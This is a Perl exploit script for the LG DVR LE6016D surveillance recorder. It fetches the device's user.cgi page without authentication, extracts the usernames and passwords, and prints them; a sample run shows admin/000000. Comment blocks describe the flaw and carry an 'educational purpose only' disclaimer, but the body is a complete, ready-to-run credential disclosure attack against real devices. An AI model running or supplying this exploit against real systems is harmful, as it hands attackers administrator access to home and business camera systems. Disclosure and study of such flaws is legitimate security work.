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#!/usr/bin/perl # # LG DVR LE6016D unauthenticated remote # users/passwords disclosure exploit # # # Copyright 2015 (c) Todor Donev # <todor.donev at gmail.com> # http://www.ethical-hacker.org/ #### # # Digital video recorder (DVR) surveillance is the use of cameras, # often hidden or concealed, that use DVR technology to record # video for playback or immediate viewing. As technological # innovations have made improvements in the security and # surveillance industry, DVR surveillance has become more # prominent and allows for easier and more versatile security # systems in homes and businesses. A DVR surveillance security # system can be designed for indoor use or outdoor use and can # often involve hidden security cameras, concealed “nanny cams” # for home security, and even personal recording devices hidden # on a person. # #### # # Description: # No authentication (login) is required to exploit this vulnerability. # This program demonstrates how unpatched security bug would enable # hackers to gain control of a vulnerable device while sitting # behind their keyboard, potentially thousands of miles away. # An unauthenticated attacker that is connected to the DVR's may be # able to retrieve the device's administrator password allowing them # to directly access the device's configuration control panel. # #### # # Disclaimer: # This or previous programs is for Educational purpose ONLY. Do not # use it without permission.The usual disclaimer applies, especially # the fact that Todor Donev is not liable for any damages caused by # direct or indirect use of the information or functionality provided # by these programs. The author or any Internet provider bears NO # responsibility for content or misuse of these programs or any # derivatives thereof. By using these programs you accept the fact # that any damage (dataloss, system crash, system compromise, etc.) # caused by the use of these programs is not Todor Donev's # responsibility. # #### # Use them at your own risk! #### # # $ perl lg.pl 133.7.133.7:80 # LG DVR LE6016D unauthenticated remote # users/passwords disclosure exploit # u/p: admin/000000 # u/p: user1/000000 # u/p: user2/000000 # u/p: user3/000000 # u/p: LOGOUT/000000 # Copyright 2015 (c) Todor Donev # <todor.donev at gmail.com> # http://www.ethical-hacker.org/ # #### use LWP::Simple; print " LG DVR LE6016D unauthenticated remote\n users/passwords disclosure exploit\n"; if (@ARGV == 0) {&usg; &foot;} while (@ARGV > 0) { $t = shift(@ARGV); } my $r = get("http://$t/dvr/wwwroot/user.cgi") or die("Error $!"); for (my $i=0; $i <= 4; $i++){ if ($r =~ m/<name>(.*)<\/name>/g){ print " u\/p: $1\/"; } if ($r =~ m/<pw>(.*)<\/pw>/g){ print "$1\n"; } } &foot; sub usg(){ print "\n Usage: perl $0 <target:port>\n Example: perl $0 133.7.133.7:80\n\n"; } sub foot(){ print " Copyright 2015 (c) Todor Donev\n <todor.donev at gmail.com>\n"; print " http://www.ethical-hacker.org/\n"; exit; } Source